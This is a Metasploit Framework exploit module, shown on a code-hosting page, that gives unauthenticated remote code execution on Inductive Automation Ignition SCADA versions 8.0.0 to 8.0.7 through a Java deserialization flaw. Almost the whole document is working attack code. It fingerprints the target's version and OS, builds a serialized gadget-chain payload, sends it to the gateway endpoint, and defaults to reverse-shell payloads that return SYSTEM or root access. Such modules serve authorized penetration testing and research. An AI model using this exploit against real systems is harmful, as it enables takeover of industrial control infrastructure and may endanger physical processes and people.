Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/scada/inductive_ignition_rce.rb
32007 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::EXE
10
include Msf::Exploit::Remote::HttpClient
11
include Msf::Exploit::JavaDeserialization
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Inductive Automation Ignition Remote Code Execution',
18
'Description' => %q{
19
This module exploits a Java deserialization vulnerability in the Inductive Automation Ignition SCADA product,
20
versions 8.0.0 to (and including) 8.0.7.
21
This exploit was tested on versions 8.0.0 and 8.0.7 on both Linux and Windows.
22
The default configuration is exploitable by an unauthenticated attacker, which can achieve
23
remote code execution as SYSTEM on a Windows installation and root on Linux.
24
The vulnerability was discovered and exploited at Pwn2Own Miami 2020 by the Flashback team (Pedro Ribeiro +
25
Radek Domanski).
26
},
27
'License' => MSF_LICENSE,
28
'Author' => [
29
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module
30
'Radek Domanski <radek.domanski[at]gmail.com> @RabbitPro' # Vulnerability discovery and Metasploit module
31
],
32
'References' => [
33
[ 'URL', 'https://www.zerodayinitiative.com/blog/2020/6/10/a-trio-of-bugs-used-to-exploit-inductive-automation-at-pwn2own-miami'],
34
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Miami_2020/rce_me_v2/rce_me_v2.md'],
35
[ 'URL', 'https://github.com/rdomanski/Exploits_and_Advisories/blob/master/advisories/Pwn2Own/Miami2020/rce_me_v2.md'],
36
[ 'CVE', '2020-10644'],
37
[ 'CVE', '2020-12004'],
38
[ 'ZDI', '20-685'],
39
[ 'ZDI', '20-686'],
40
],
41
'Privileged' => true,
42
'DefaultOptions' => {
43
'WfsDelay' => 15
44
},
45
'Targets' => [
46
[ 'Automatic', {} ],
47
[
48
'Windows',
49
{
50
'Platform' => 'win',
51
'DefaultOptions' =>
52
{ 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }
53
},
54
],
55
[
56
'Linux',
57
{
58
'Platform' => 'unix',
59
'Arch' => [ARCH_CMD],
60
'DefaultOptions' =>
61
{ 'PAYLOAD' => 'cmd/unix/reverse_python' }
62
},
63
]
64
],
65
'DisclosureDate' => '2020-06-11',
66
'DefaultTarget' => 0,
67
'Notes' => {
68
'Stability' => [ CRASH_SAFE ],
69
'SideEffects' => [ IOC_IN_LOGS ],
70
'Reliability' => [ REPEATABLE_SESSION ]
71
}
72
)
73
)
74
register_options(
75
[
76
Opt::RPORT(8088)
77
]
78
)
79
end
80
81
def version_get
82
res = send_request_cgi({
83
'uri' => '/system/gwinfo',
84
'method' => 'GET'
85
})
86
87
if res && res.code == 302
88
# try again, versions < 8 use a different URL
89
res = send_request_cgi({
90
'uri' => '/main/system/gwinfo',
91
'method' => 'GET'
92
})
93
end
94
95
if res && res.code == 200
96
# Regexp to get the version of the server
97
version = res.body.match(/;Version=([0-9.]{3,});/)
98
if version
99
return version[1]
100
end
101
end
102
return ''
103
end
104
105
def os_get
106
res = send_request_cgi({
107
'uri' => '/system/gwinfo',
108
'method' => 'GET'
109
})
110
if res && res.code == 200
111
# Regexp to get the OS
112
os = res.body.match(/OS=([a-zA-Z0-9\s]+);/)
113
return os[1]
114
end
115
end
116
117
def create_java_str(payload)
118
(
119
"\xac\xed" + # STREAM_MAGIC
120
"\x00\x05" + # STREAM_VERSION
121
"\x74" + # String object
122
[payload.length].pack('n') + # length
123
payload
124
).force_encoding('ascii') # is this needed in msf?
125
end
126
127
def check
128
version = Rex::Version.new(version_get)
129
if version.segments.length < 3
130
fail_with(Failure::Unknown, 'Failed to obtain target version')
131
end
132
print_status("#{peer} - Detected version #{version}")
133
if version >= Rex::Version.new('8.0.0') && version <= Rex::Version.new('8.0.7')
134
return Exploit::CheckCode::Appears
135
else
136
return Exploit::CheckCode::Safe
137
end
138
end
139
140
def pick_target
141
os = os_get
142
if os.include?('Windows')
143
return targets[1]
144
elsif os.include?('Linux')
145
return targets[2]
146
else
147
fail_with(Failure::NoTarget, "#{peer} - Unable to select a target, we must bail out.")
148
end
149
end
150
151
def exploit
152
# Check if automatic target selection is set
153
if target.name == 'Automatic'
154
my_target = pick_target
155
else
156
my_target = target
157
end
158
print_status("#{peer} - Attacking #{my_target.name} target")
159
160
# <version> is a CRC32 calculated by the server that we didn't want to reverse
161
# However in com.inductiveautomation.ignition.gateway.servlets.Gateway.doPost()
162
# (line 383 of gateway-8.0.7.jar)
163
# ... it will helpfully ignore the version if set to 0
164
data =
165
'<?xml version="1.0" encoding="UTF-8"?><requestwrapper><version>0</version><scope>2</scope><message><messagetype>199</messagetype><messagebody>'\
166
'<arg name="funcId"><![CDATA[ProjectDownload]]></arg><arg name="subFunction"><![CDATA[getDiff]]></arg><arg name="arg" index="0">'\
167
'<![CDATA['
168
169
version = Rex::Version.new(version_get)
170
171
if version
172
print_status("#{peer} - Detected version #{version}")
173
else
174
print_error("#{peer} - Target has an unknown version, this might not work...")
175
end
176
177
# Version 8.0.0 doesn't work with CommonsBeanutils1, but CommonsCollections6 works!
178
#
179
# An alternative to this would be GET /system/launchmf/D which will helpfully return
180
# a list of all the jars in the system, letting us pick the right gadget chain.
181
# However only 8.0.0 differs, so let's just have a special case for that.
182
if version == Rex::Version.new('8.0.0')
183
lib = 'CommonsCollections6'
184
else
185
lib = 'CommonsBeanutils1'
186
end
187
188
java_payload = generate_java_deserialization_for_payload(lib, payload)
189
java_payload = Rex::Text.encode_base64(java_payload)
190
java_payload = create_java_str(java_payload)
191
java_payload = Rex::Text.encode_base64(java_payload)
192
data += java_payload
193
194
data += ']]></arg></messagebody></message><locale><l>en</l><c>GB</c><v></v></locale></requestwrapper>'
195
196
print_status("#{peer} - Sending payload...")
197
198
res = send_request_cgi({
199
'uri' => '/system/gateway',
200
'method' => 'POST',
201
'data' => data
202
})
203
204
if res&.body&.include?('Unable to load project diff.')
205
print_good("#{peer} - Success, shell incoming!")
206
else
207
print_error("#{peer} - Something is not right, try again?")
208
end
209
end
210
end
211
212